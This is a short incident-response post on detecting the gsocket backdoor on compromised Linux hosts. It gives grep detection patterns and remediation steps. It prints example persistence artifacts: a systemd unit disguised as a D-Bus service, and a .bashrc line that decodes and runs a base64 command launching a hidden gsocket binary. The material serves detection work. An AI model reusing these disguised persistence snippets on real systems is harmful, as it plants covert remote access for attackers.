Gsocket: how to find one of the most popular tools

Gsocket: how to find one of the most popular tools 🙂

In the course of investigating numerous incidents involving the compromise of Linux nodes, we often discover various hacking tools on them.

One of the most popular of these is gsocket. Hackers often use it to connect to compromised nodes.

🔦 To detect signs of the tool’s installation, you can search for the following:

1️⃣ A service named D-Bus System Connection Bus:

systemctl | grep "D\-Bus System Connection Bus"Code language: Bash (bash)

Example:

EVILSERVICE.service                                                                    loaded active running   D-Bus System Connection BusCode language: plaintext (plaintext)

2️⃣ Files through which persistence in the system may be established and which contain strings matching the following pattern:

'D\-Bus System Connection Bus|GS_ARGS\=|echo .+\|base64 \-d\|bash.+seed prng.+kernel'

egrep -ar 'D\-Bus System Connection Bus|GS_ARGS\=' /usr/lib/systemd/ /{lib,run,etc}/systemd/
egrep -aor 'echo .+\|base64 \-d\|bash.+seed prng.+kernel' /Code language: plaintext (plaintext)

👀 Example (service file):

Description=D-Bus System Connection Bus
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-ilq' exec -a '[abc]' '/usr/bin/abc'"

[Install]
WantedBy=multi-user.targetCode language: plaintext (plaintext)

👀 Example (.bashrc):

# ~/.bashrc: executed by bash(1) for non-login shells.
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDAxIGFiYyAyPi9kZXYvbnVsbCB8fCAoVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS91c2VyLy5jb25maWcvaHRvcC9hYmMuZGF0IC1saXFEIiBleGVjIC1hICdbYWJjNXJyXScgJy9ob21lL3VzZXIvLmNvbmZpZy9odG9wL2FiYycgMj4vZGV2L251bGwpCg==|base64 -d|bash;} 2>/dev/null #34uhu4gg3g3g34g3 >/dev/random # seed prng abc-kernel
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac
....Code language: Go (go)

📌 To detect signs of the tool’s presence on the perimeter, you can search for nodes communicating with gsocket․io, as well as with servers from the post.

📃 Recommendations for further actions:

1️⃣ Block the addresses of the command-and-control servers;

2️⃣ Delete files related to gsocket, and also modify the files through which gsocket established persistence in the system;

3️⃣ Reboot the compromised host;

4️⃣ Search for suspicious network logins and check the web server logs (if one exists and is exposed to the outside).

#DFIR #detect #hacktool #tips #linux
@ptescalator